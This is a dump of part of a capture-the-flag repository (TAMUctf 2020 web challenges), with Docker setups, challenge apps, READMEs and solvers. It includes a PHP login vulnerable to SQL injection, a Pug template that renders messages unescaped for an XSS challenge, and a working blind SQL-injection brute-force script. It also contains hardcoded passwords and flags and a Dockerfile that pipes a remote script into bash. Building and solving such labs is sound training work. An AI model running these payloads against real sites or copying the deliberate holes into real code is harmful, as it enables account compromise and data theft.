JsonResponse(response_data) 27 | 28 | def gen_problem(): 29 | ops = '+*-' 30 | a, b = random.randint(0, 100), random.randint(0, 100) 31 | return str(a) + ' ' + random.choice(ops) + ' ' + str(b) 32 | -------------------------------------------------------------------------------- /Web/mentalmath/mentalmath/__init__.py: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/tamuctf/TAMUctf-2020/d0db09bc428570036a4ae88f853194821f57bee8/Web/mentalmath/mentalmath/__init__.py -------------------------------------------------------------------------------- /Web/mentalmath/mentalmath/urls.py: -------------------------------------------------------------------------------- 1 | """mentalmath URL Configuration 2 | 3 | The `urlpatterns` list routes URLs to views. For more information please see: 4 | https://docs.djangoproject.com/en/2.1/topics/http/urls/ 5 | Examples: 6 | Function views 7 | 1. Add an import: from my_app import views 8 | 2. Add a URL to urlpatterns: path('', views.home, name='home') 9 | Class-based views 10 | 1. Add an import: from other_app.views import Home 11 | 2. Add a URL to urlpatterns: path('', Home.as_view(), name='home') 12 | Including another URLconf 13 | 1. Import the include() function: from django.urls import include, path 14 | 2. Add a URL to urlpatterns: path('blog/', include('blog.urls')) 15 | """ 16 | from django.contrib import admin 17 | from django.urls import include, path 18 | 19 | urlpatterns = [ 20 | path('', include('mathgame.urls')), 21 | path('admin/', admin.site.urls), 22 | ] 23 | -------------------------------------------------------------------------------- /Web/mentalmath/mentalmath/wsgi.py: -------------------------------------------------------------------------------- 1 | """ 2 | WSGI config for mentalmath project. 3 | 4 | It exposes the WSGI callable as a module-level variable named ``application``. 5 | 6 | For more information on this file, see 7 | https://docs.djangoproject.com/en/2.1/howto/deployment/wsgi/ 8 | """ 9 | 10 | import os 11 | 12 | from django.core.wsgi import get_wsgi_application 13 | 14 | os.environ.setdefault('DJANGO_SETTINGS_MODULE', 'mentalmath.settings') 15 | 16 | application = get_wsgi_application() 17 | -------------------------------------------------------------------------------- /Web/mentalmath/requirements.txt: -------------------------------------------------------------------------------- 1 | Django>=2.2rc1,<2.3 2 | uwsgi>=2.0,<2.1 3 | # Prevent pip from installing the binary wheel for psycopg2; see: 4 | # http://initd.org/psycopg/docs/install.html#disabling-wheel-packages-for-psycopg-2-7 5 | psycopg2>=2.7,<2.8 --no-binary psycopg2 6 | -------------------------------------------------------------------------------- /Web/more_credits/Dockerfile: -------------------------------------------------------------------------------- 1 | FROM ubuntu:latest 2 | 3 | RUN mkdir -p /data/db 4 | RUN apt update && apt install -y npm wget vim 5 | RUN wget -O - https://deb.nodesource.com/setup_13.x | bash 6 | RUN apt install -y nodejs 7 | RUN echo "deb http://apt.postgresql.org/pub/repos/apt/ bionic-pgdg main" | tee /etc/apt/sources.list.d/pgdg.list 8 | RUN wget --quiet -O - https://www.postgresql.org/media/keys/ACCC4CF8.asc | apt-key add - 9 | RUN apt update 10 | RUN export DEBIAN_FRONTEND=noninteractive && apt install -y postgresql-11 11 | RUN ln -fs /usr/share/zoneinfo/America/Chicago /etc/localtime 12 | RUN dpkg-reconfigure --frontend noninteractive tzdata 13 | 14 | RUN mkdir auth-system && cd auth-system && mkdir models inventory views 15 | RUN npm init -f 16 | RUN npm install --save bcrypt body-parser cookie-parser express express-session express-rate-limit morgan pg sequelize pug 17 | RUN mv /node_modules /auth-system 18 | RUN mv /package.json /auth-system 19 | COPY models /auth-system/models/ 20 | COPY inventory /auth-system/inventory/ 21 | COPY views /auth-system/views/ 22 | COPY entry.sh /auth-system/ 23 | COPY server.js /auth-system/ 24 | COPY pg_hba.conf /etc/postgresql/11/main/pg_hba.conf 25 | 26 | EXPOSE 80 27 | 28 | ENTRYPOINT ["/auth-system/entry.sh"] 29 | -------------------------------------------------------------------------------- /Web/more_credits/README.md: -------------------------------------------------------------------------------- 1 | # XSS unfiltered 2 | The objective of this challenge is to make the user understand how cross site scripting works. 3 | 4 | # DISCLAIMER 5 | 6 | This challenge was removed from TAMUctf mid-competition. 7 | 8 | ## Challenge flavor 9 | Try testing out this new credit system that I just created! We already have our first user, bob! 10 | 11 | http://
12 | 13 | hint: Credit generation is rate limited. It is literally impossible to generate 2,000,000,000 credits within the CTF timeframe. 14 | 15 | hint2: Bob seems to have somehow gotten the 2,000,000,000 credits... He seems pretty active. 16 | 17 | ## Setup 18 | Build and run docker container for website 19 | 20 | sudo docker build -t more_credits . 21 | 22 | sudo docker run more_credits 23 | 24 | Then build and run docker container for bob. Make sure to change the value on line 14 for bob_script.py to the actual address of the hosted webpage 25 | 26 | sudo docker build -t bob . 27 | 28 | sudo docker run bob 29 | 30 | ## Solution 31 | The gifting system allows the user to send credits with a message tagline attached. The message system is vulnerable to XSS. Send the following payload to the user "bob" in a gift. 32 | 33 | 34 | -------------------------------------------------------------------------------- /Web/more_credits/bob/Dockerfile: -------------------------------------------------------------------------------- 1 | FROM ubuntu:18.04 2 | 3 | RUN apt-get update 4 | RUN apt-get install wget vim firefox python3-pip -y 5 | 6 | # install geckodriver 7 | RUN wget https://github.com/mozilla/geckodriver/releases/download/v0.26.0/geckodriver-v0.26.0-linux64.tar.gz 8 | RUN tar xvfz geckodriver-v0.26.0-linux64.tar.gz 9 | RUN mv geckodriver /usr/local/bin 10 | 11 | # upgrade pip 12 | RUN pip3 install --upgrade pip 13 | 14 | # install selenium 15 | RUN pip3 install selenium 16 | 17 | COPY bob_script.py . 18 | 19 | ENTRYPOINT ["python3", "/bob_script.py"] 20 | -------------------------------------------------------------------------------- /Web/more_credits/bob/bob_script.py: -------------------------------------------------------------------------------- 1 | from selenium import webdriver 2 | from selenium.webdriver.firefox.options import Options 3 | import time 4 | 5 | WEB_URL = 'http://172.17.0.2' 6 | 7 | def main(): 8 | print('Setting up browser...', end='') 9 | options = Options() 10 | options.set_headless(headless=True) 11 | browser = webdriver.Firefox(firefox_options=options) 12 | print('done') 13 | username = 'bob' 14 | password = 'yG_hn6@@BJhw3H=5' 15 | while True: 16 | start = time.time() 17 | try: 18 | print('Logging in...', end='') 19 | browser.get(WEB_URL + '/login') 20 | browser.find_element_by_id('user').send_keys(username) 21 | browser.find_element_by_id('pass').send_keys(password) 22 | browser.find_element_by_id('login_submit').click() 23 | print('done') 24 | except Exception as e: 25 | print(e) 26 | print(start) 27 | while True: 28 | time.sleep(5) 29 | print('Refreshing page...', end='') 30 | try: 31 | browser.get(WEB_URL + '/gift') 32 | except Exception as e: 33 | print(e) 34 | print('done') 35 | if('/login' in browser.current_url): 36 | break 37 | browser.quit() 38 | 39 | if __name__=='__main__': 40 | main() 41 | -------------------------------------------------------------------------------- /Web/more_credits/entry.sh: -------------------------------------------------------------------------------- 1 | #!/bin/bash 2 | 3 | cd /auth-system 4 | service postgresql start 5 | psql -U postgres -c 'CREATE DATABASE "auth-system"' 6 | node server.js 7 | -------------------------------------------------------------------------------- /Web/more_credits/inventory/cat.txt: -------------------------------------------------------------------------------- 1 | _._ _,-'""`-._ 2 | (,-.`._,'( |\`-/| 3 | `-.-' \ )-`( , o o) 4 | `- \`_`"'- 5 | -------------------------------------------------------------------------------- /Web/more_credits/inventory/flag.txt: -------------------------------------------------------------------------------- 1 | gigem{darn_eXpermiental_Space_Stations} 2 | -------------------------------------------------------------------------------- /Web/more_credits/inventory/haiku.txt: -------------------------------------------------------------------------------- 1 | I like kittens, YEAH! 2 | They are really fluffy, YEAH! 3 | OMG KITTENS. 4 | -------------------------------------------------------------------------------- /Web/more_credits/inventory/helicopter.txt: -------------------------------------------------------------------------------- 1 | ___________________________ __________________________ 2 | `--------------------------`()'--------------------------' 3 | || 4 | __ || __ 5 | ] """"---...._ .' / 6 | _,-"""==============`--. .'/)/ 7 | ,' ) ,--. .-----. `.___________________.' ///_ 8 | .' / /___| |_____| e c TAMUctf _______ () _> 9 | / / /____| |__|__| ,----""""" `// \ 10 | .<`=='===========================.' (/`. \ 11 | ( `.----------------------------/ `._\ 12 | `-._\_ ____...--' 13 | """--ii--'"""77" 14 | .____//______//___, 15 | `-----------------' 16 | 17 | -------------------------------------------------------------------------------- /Web/more_credits/models/user.js: -------------------------------------------------------------------------------- 1 | var Sequelize = require('sequelize'); 2 | var bcrypt = require('bcrypt'); 3 | 4 | // create a sequelize instance with our local postgres database information. 5 | var sequelize = new Sequelize('postgres://postgres:postgres@localhost:5432/auth-system'); 6 | 7 | // setup User model and its fields. 8 | var User = sequelize.define('users', { 9 | username: { 10 | type: Sequelize.STRING, 11 | unique: true, 12 | allowNull: false 13 | }, 14 | password: { 15 | type: Sequelize.STRING, 16 | allowNull: false 17 | }, 18 | credits: { 19 | type: Sequelize.INTEGER, 20 | allowNull: false 21 | }, 22 | items: { 23 | type: Sequelize.STRING, 24 | allowNull: false 25 | }, 26 | messages: { 27 | type: Sequelize.ARRAY(Sequelize.TEXT), 28 | defaultValue: null 29 | } 30 | }); 31 | 32 | User.beforeCreate((user,optionsObject) => { 33 | const salt = bcrypt.genSaltSync(); 34 | user.password = bcrypt.hashSync(user.password, salt); 35 | }); 36 | 37 | User.prototype.validPassword = function(password) { 38 | return bcrypt.compareSync(password, this.password); 39 | } 40 | 41 | 42 | // create all the defined tables in the specified database. 43 | sequelize.sync() 44 | .then(() => { 45 | console.log('users table has been successfully created, if one doesn\'t exist'); 46 | User.create({ 47 | username: 'bob', 48 | password: 'yG_hn6@@BJhw3H=5', 49 | credits: 2000000000, 50 | items: JSON.stringify({cat: 0, haiku: 0, helicopter: 0, flag: 0}), 51 | messages: [] 52 | }); 53 | }) 54 | .catch(error => console.log('This error occured', error)); 55 | 56 | // export User model for use in other files. 57 | module.exports = User; 58 | 59 | 60 | -------------------------------------------------------------------------------- /Web/more_credits/pg_hba.conf: -------------------------------------------------------------------------------- 1 | local all postgres trust 2 | local all all peer 3 | host all all 127.0.0.1/32 trust 4 | host all all ::1/128 md5 5 | local replication all peer 6 | host replication all 127.0.0.1/32 md5 7 | host replication all ::1/128 md5 8 | -------------------------------------------------------------------------------- /Web/more_credits/views/gift.pug: -------------------------------------------------------------------------------- 1 | html 2 | head 3 | title Gifting 4 | link(rel='stylesheet', href='https://maxcdn.bootstrapcdn.com/bootstrap/3.3.7/css/bootstrap.min.css', integrity='sha384-BVYiiSIFeK1dGmJRAkycuHAHRg32OmUcww7on3RYdg4Va+PmSTsz/K68vbdEjh4u', crossorigin='anonymous') 5 | body.container 6 | nav.navbar.navbar-default 7 | .container-fluid 8 | // Collect the nav links, forms, and other content for toggling 9 | #bs-example-navbar-collapse-1.collapse.navbar-collapse 10 | ul.nav.navbar-nav 11 | li 12 | a(href='/') Home 13 | li 14 | a(href='/store') Store 15 | li 16 | a(href='/inventory') Inventory 17 | li 18 | a(href='/gift') Gift 19 | ul.nav.navbar-nav.navbar-right 20 | li 21 | a(href='/logout') Log Out 22 | // /.navbar-collapse 23 | // /.container-fluid 24 | .page-header 25 | h1 Credit Gifting System 26 | .container.row 27 | h2 Send others credits and view the credits that you have received. 28 | form(method='POST' action='/gift') 29 | div.form-group 30 | label(for='username') To User: 31 | input#name.form-control(type='text', placeholder='Username', name='username', required) 32 | div.form-group 33 | label(for='credits') Number of Credits to Send: 34 | input#name.form-control(type='number', placeholder='Credit Amount', name='credits', required) 35 | div.form-group 36 | label(for='message') Message: 37 | input#name.form-control(type='text', placeholder='Message Body', name='message') 38 | button.btn.btn-primary(type='submit') Send Message 39 | p(style='color:red') #{error_message} 40 | h2 New Message: 41 | pre 42 | p !{new_message} 43 | -------------------------------------------------------------------------------- /Web/more_credits/views/homepage.pug: -------------------------------------------------------------------------------- 1 | html 2 | head 3 | title Credits! 4 | link(rel='stylesheet', href='https://maxcdn.bootstrapcdn.com/bootstrap/3.3.7/css/bootstrap.min.css', integrity='sha384-BVYiiSIFeK1dGmJRAkycuHAHRg32OmUcww7on3RYdg4Va+PmSTsz/K68vbdEjh4u', crossorigin='anonymous') 5 | body.container 6 | nav.navbar.navbar-default 7 | .container-fluid 8 | // Collect the nav links, forms, and other content for toggling 9 | #bs-example-navbar-collapse-1.collapse.navbar-collapse 10 | ul.nav.navbar-nav 11 | li 12 | a(href='/') Home 13 | if authorized 14 | li 15 | a(href='/store') Store 16 | li 17 | a(href='/inventory') Inventory 18 | li 19 | a(href='/gift') Gift 20 | ul.nav.navbar-nav.navbar-right 21 | unless authorized 22 | li 23 | a(href='/login') Log In 24 | li 25 | a(href='/signup') Sign Up 26 | if authorized 27 | li 28 | a(href='/logout') Log Out 29 | // /.navbar-collapse 30 | // /.container-fluid 31 | .page-header 32 | if username 33 | h1 Howdy #{username}! 34 | else 35 | h1 Howdy! 36 | h3 How are you doing today? 37 | -------------------------------------------------------------------------------- /Web/more_credits/views/login.pug: -------------------------------------------------------------------------------- 1 | html 2 | head 3 | title Login Here 4 | link(rel='stylesheet', href='https://maxcdn.bootstrapcdn.com/bootstrap/3.3.7/css/bootstrap.min.css', integrity='sha384-BVYiiSIFeK1dGmJRAkycuHAHRg32OmUcww7on3RYdg4Va+PmSTsz/K68vbdEjh4u', crossorigin='anonymous') 5 | body.container 6 | nav.navbar.navbar-default 7 | .container-fluid 8 | // Collect the nav links, forms, and other content for toggling 9 | #bs-example-navbar-collapse-1.collapse.navbar-collapse 10 | ul.nav.navbar-nav 11 | li 12 | a(href='/') Home 13 | ul.nav.navbar-nav.navbar-right 14 | li 15 | a(href='/login') Log In 16 | li 17 | a(href='/signup') Sign Up 18 | // /.navbar-collapse 19 | // /.container-fluid 20 | .page-header 21 | h1 Credit System Login 22 | .container.row 23 | .jumbotron.col-sm-4.pull-center 24 | form(action='/login', method='post') 25 | div 26 | label Username: 27 | input(type='text', name='username', id='user') 28 | div 29 | label Password: 30 | input(type='password', name='password',id='pass') 31 | div 32 | input.btn.btn-primary(type='submit', value='Log In', id='login_submit') 33 | 34 | -------------------------------------------------------------------------------- /Web/more_credits/views/signup.pug: -------------------------------------------------------------------------------- 1 | html 2 | head 3 | title Register 4 | link(rel='stylesheet', href='https://maxcdn.bootstrapcdn.com/bootstrap/3.3.7/css/bootstrap.min.css', integrity='sha384-BVYiiSIFeK1dGmJRAkycuHAHRg32OmUcww7on3RYdg4Va+PmSTsz/K68vbdEjh4u', crossorigin='anonymous') 5 | body.container 6 | nav.navbar.navbar-default 7 | .container-fluid 8 | // Collect the nav links, forms, and other content for toggling 9 | #bs-example-navbar-collapse-1.collapse.navbar-collapse 10 | ul.nav.navbar-nav 11 | li 12 | a(href='/') Home 13 | ul.nav.navbar-nav.navbar-right 14 | li 15 | a(href='/login') Log In 16 | li 17 | a(href='/signup') Sign Up 18 | // /.navbar-collapse 19 | // /.container-fluid 20 | .page-header 21 | h1 Register Here! 22 | .container.row 23 | .jumbotron.col-sm-4.pull-center 24 | form(action='/signup', method='post') 25 | div 26 | label Username: 27 | input(type='text', name='username') 28 | div 29 | label Password: 30 | input(type='password', name='password') 31 | div 32 | input.btn.btn-primary(type='submit', value='Sign Up') 33 | 34 | -------------------------------------------------------------------------------- /Web/passwordextraction/Dockerfile: -------------------------------------------------------------------------------- 1 | FROM ubuntu:latest 2 | 3 | env DEBIAN_FRONTEND="noninteractive" 4 | 5 | RUN apt-get update -y && apt-get -y install apache2 mysql-server php libapache2-mod-php php-mysql 6 | 7 | 8 | COPY start.sh /start.sh 9 | COPY index.html /var/www/html/index.html 10 | COPY login.php /var/www/html/login.php 11 | 12 | env APACHE_RUN_USER www-data 13 | env APACHE_RUN_GROUP www-data 14 | env APACHE_PID_FILE /var/run/apache2.pid 15 | env APACHE_RUN_DIR /var/run/apache2 16 | env APACHE_LOCK_DIR /var/lock/apache2 17 | env APACHE_LOG_DIR /var/log/apache2 18 | 19 | EXPOSE 80 20 | ENTRYPOINT ["bash","/start.sh"] -------------------------------------------------------------------------------- /Web/passwordextraction/README.md: -------------------------------------------------------------------------------- 1 | ## Description 2 | 3 | The owner of this website often reuses passwords. Can you find out the password they are using on this test server? 4 | 5 | ## Documentation 6 | 7 | An SQL injection challenge in which the flag is the password. It can be extracted by using wildcards when injecting. I decided I might as well tell them the goal because this was supposed to be an easy challenge. 8 | 9 | ### Setup 10 | 11 | 1. docker build . -t passwordextraction 12 | 2. docker run -p 80:80 passwordextraction 13 | 14 | ## Solution 15 | 16 | You could in theory do the entire thing manually with sql wildcards like so "'or password like 'g%'". I imagine everyone will write a short script to just brute force it because the script to do so is pretty straightforward. I've included a solver in solution.py. -------------------------------------------------------------------------------- /Web/passwordextraction/index.html: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | 6 | 7 | 8 |
9 |
10 |
11 |
12 | 13 |
14 |
15 | 16 |
17 |
18 | 19 |
20 |
21 |
22 |
23 | 24 | 25 | 26 | -------------------------------------------------------------------------------- /Web/passwordextraction/login.php: -------------------------------------------------------------------------------- 1 | connect_error) { 11 | die("Connection failed: " . $connection->connect_error); 12 | } 13 | 14 | $login_user = $_POST['username']; 15 | $login_pass = $_POST['password']; 16 | 17 | $sql = "SELECT * FROM accounts WHERE username='$login_user' AND password='$login_pass'"; 18 | $result = $connection->query($sql); 19 | 20 | if($result->num_rows == 1) { 21 | echo "You've successfully authorized, but that doesn't get you the password. "; 22 | } else { 23 | echo "Invalid login info. "; 24 | } 25 | $connection->close(); 26 | } else { 27 | echo "Both username and password must be entered. "; 28 | } 29 | ?> -------------------------------------------------------------------------------- /Web/passwordextraction/solution.py: -------------------------------------------------------------------------------- 1 | import string 2 | import requests 3 | 4 | url = "http://localhost/login.php" 5 | injection = "' OR password LIKE '{}%" 6 | flag = "" 7 | valid_chars = [x for x in string.printable if x not in ["%", "_"]] 8 | def checkChar(val): 9 | payload = {"username": "admin", "password": injection.format(flag + val)} 10 | r = requests.post(url, data=payload) 11 | return r.text[0] == "Y" 12 | 13 | 14 | while True: 15 | for i in valid_chars: 16 | valid = checkChar(i) 17 | if(valid): 18 | flag += i 19 | break 20 | print(flag) 21 | 22 | 23 | -------------------------------------------------------------------------------- /Web/passwordextraction/start.sh: -------------------------------------------------------------------------------- 1 | chown -R mysql:mysql /var/lib/mysql /var/run/mysqld 2 | 3 | service mysql start 4 | 5 | mysql -u root -e "CREATE DATABASE db; GRANT ALL PRIVILEGES ON *.* TO 'webserver'@'localhost' IDENTIFIED BY 'wBUs?kWKvXDV?V%xQwj^=xqZGL*29wGP';" 6 | mysql -u root -e "USE db; CREATE TABLE accounts (username varchar(32), password varchar(32) collate utf8_bin);" 7 | mysql -u root -e "USE db; INSERT INTO accounts (username,password) VALUES ('admin', 'gigem{h0peYouScr1ptedTh1s}');" 8 | 9 | apache2 -D FOREGROUND 10 | -------------------------------------------------------------------------------- /Web/too-many-credits/Dockerfile: -------------------------------------------------------------------------------- 1 | FROM openjdk:7-jdk-alpine as build 2 | # we need a different version of the jdk because the ssl is broken in the vulnerable version 3 | 4 | COPY too-many-credits/ /opt/too-many-credits 5 | 6 | RUN cd /opt/too-many-credits; ./gradlew distTar 7 | 8 | FROM openjdk:7u91-jre-alpine 9 | 10 | RUN apk add --no-cache --update python3 bash 11 | 12 | EXPOSE 8080 13 | 14 | COPY --from=build /opt/too-many-credits/build/distributions/credits-1.0.0-SNAPSHOT.tar /opt/credits-1.0.0-SNAPSHOT.tar 15 | RUN cd /opt; tar xf credits-1.0.0-SNAPSHOT.tar; rm credits-1.0.0-SNAPSHOT.tar 16 | 17 | COPY flag2.txt /opt/credits-1.0.0-SNAPSHOT/flag.txt 18 | 19 | WORKDIR /opt/credits-1.0.0-SNAPSHOT 20 | 21 | RUN adduser -SDH credits 22 | 23 | CMD ["su", "-s", "/bin/sh", "-c", "/opt/credits-1.0.0-SNAPSHOT/bin/credits --server.port=8080", "credits"] 24 | -------------------------------------------------------------------------------- /Web/too-many-credits/flag2.txt: -------------------------------------------------------------------------------- 1 | gigem{da$h_3_1s_A_l1f3seNd} 2 | -------------------------------------------------------------------------------- /Web/too-many-credits/too-many-credits/.gitignore: -------------------------------------------------------------------------------- 1 | HELP.md 2 | .gradle 3 | build/ 4 | !gradle/wrapper/gradle-wrapper.jar 5 | !**/src/main/** 6 | !**/src/test/** 7 | 8 | ### STS ### 9 | .apt_generated 10 | .classpath 11 | .factorypath 12 | .project 13 | .settings 14 | .springBeans 15 | .sts4-cache 16 | 17 | ### IntelliJ IDEA ### 18 | .idea 19 | *.iws 20 | *.iml 21 | *.ipr 22 | out/ 23 | 24 | ### NetBeans ### 25 | /nbproject/private/ 26 | /nbbuild/ 27 | /dist/ 28 | /nbdist/ 29 | /.nb-gradle/ 30 | 31 | ### VS Code ### 32 | .vscode/ 33 | -------------------------------------------------------------------------------- /Web/too-many-credits/too-many-credits/build.gradle: -------------------------------------------------------------------------------- 1 | buildscript { 2 | repositories { 3 | mavenCentral() 4 | } 5 | 6 | dependencies { 7 | classpath("org.springframework.boot:spring-boot-gradle-plugin:1.2.1.RELEASE") 8 | } 9 | } 10 | apply plugin: 'spring-boot' 11 | apply plugin: 'java' 12 | apply plugin: 'idea' 13 | 14 | group = 'com.credits.credits' 15 | version = '1.0.0-SNAPSHOT' 16 | sourceCompatibility = '1.7' 17 | 18 | repositories { 19 | mavenCentral() 20 | } 21 | 22 | springBoot { 23 | applyExcludeRules=false 24 | } 25 | 26 | dependencies { 27 | compile 'org.springframework.boot:spring-boot-starter-web' 28 | compile 'org.springframework.boot:spring-boot-starter-thymeleaf' 29 | } 30 | -------------------------------------------------------------------------------- /Web/too-many-credits/too-many-credits/gradle/wrapper/gradle-wrapper.jar: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/tamuctf/TAMUctf-2020/d0db09bc428570036a4ae88f853194821f57bee8/Web/too-many-credits/too-many-credits/gradle/wrapper/gradle-wrapper.jar -------------------------------------------------------------------------------- /Web/too-many-credits/too-many-credits/gradle/wrapper/gradle-wrapper.properties: -------------------------------------------------------------------------------- 1 | distributionBase=GRADLE_USER_HOME 2 | distributionPath=wrapper/dists 3 | distributionUrl=https\://services.gradle.org/distributions/gradle-2.14.1-bin.zip 4 | zipStoreBase=GRADLE_USER_HOME 5 | zipStorePath=wrapper/dists 6 | -------------------------------------------------------------------------------- /Web/too-many-credits/too-many-credits/settings.gradle: -------------------------------------------------------------------------------- 1 | rootProject.name = 'credits' 2 | -------------------------------------------------------------------------------- /Web/too-many-credits/too-many-credits/src/main/java/com/credits/credits/credits/CreditsApplication.java: -------------------------------------------------------------------------------- 1 | package com.credits.credits.credits; 2 | 3 | import org.springframework.boot.SpringApplication; 4 | import org.springframework.boot.autoconfigure.SpringBootApplication; 5 | 6 | @SpringBootApplication 7 | public class CreditsApplication { 8 | 9 | public static void main(String[] args) { 10 | SpringApplication.run(CreditsApplication.class, args); 11 | } 12 | 13 | } 14 | -------------------------------------------------------------------------------- /Web/too-many-credits/too-many-credits/src/main/java/com/credits/credits/credits/model/CreditCount.java: -------------------------------------------------------------------------------- 1 | package com.credits.credits.credits.model; 2 | 3 | import java.io.Serializable; 4 | 5 | public class CreditCount implements Serializable { 6 | private long value; 7 | 8 | public CreditCount() { 9 | value = 0; 10 | } 11 | 12 | public CreditCount(long value) { 13 | this.value = value; 14 | } 15 | 16 | public void increment() { 17 | value++; 18 | } 19 | 20 | public long getValue() { 21 | return value; 22 | } 23 | 24 | public void setValue(long value) { 25 | this.value = value; 26 | } 27 | } 28 | -------------------------------------------------------------------------------- /Web/too-many-credits/too-many-credits/src/main/resources/application.properties: -------------------------------------------------------------------------------- 1 | spring.thymeleaf.cache=false 2 | -------------------------------------------------------------------------------- /Web/too-many-credits/too-many-credits/src/main/resources/templates/index.html: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | 6 | 7 | Java Credits 8 | 9 | 10 | 11 | 12 |
13 | 14 |
15 |

16 | 17 | 18 |

19 | 20 |
21 | 22 |
23 | 24 | 25 | --------------------------------------------------------------------------------